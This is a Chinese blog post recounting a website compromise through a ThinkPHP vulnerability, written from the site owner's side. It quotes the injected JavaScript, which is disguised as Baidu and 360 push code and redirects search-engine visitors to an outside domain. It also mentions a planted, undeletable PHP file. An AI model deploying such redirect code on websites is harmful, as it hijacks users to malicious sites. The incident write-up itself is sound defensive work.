记一次网站被黑经历

问题原由

早上突然接到客户电话,网站在微信中无法打开,被微信拦截
记一次网站被黑经历

在pc端访问网站,点击首页中任何一个url都会跳转到第三方网站,恍然大悟,网站是被黑了

问题分析

发现网站head被加入一下代码
记一次网站被黑经历

发现js里面代码的如下,会强制跳转到第三方网站:

(function () {
    /*百度推送代码*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<script src="' + src + '" id="sozz"><\/script>');
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://2019d2.com\";");
document.writeln("</script>");

打开阿里云虚拟主机,ftp连接到虚拟主机,发现:

  • 网站根目录多了一个文件:coonig.php,且此文件无法修改无法删除
  • index.php文件被修改

记一次网站被黑经历

解决方法

  1. 提交阿里云工单,让阿里云后台人员删除coonig.php文件
  2. 将index.php替换掉

本次被黑是由于thinkphp漏洞导致,详见
http://www.thinkphp.cn/topic/61303.html

后续

有没有小伙伴知道如何快速举报一个网站?

猜你喜欢

转载自blog.51cto.com/13990437/2383267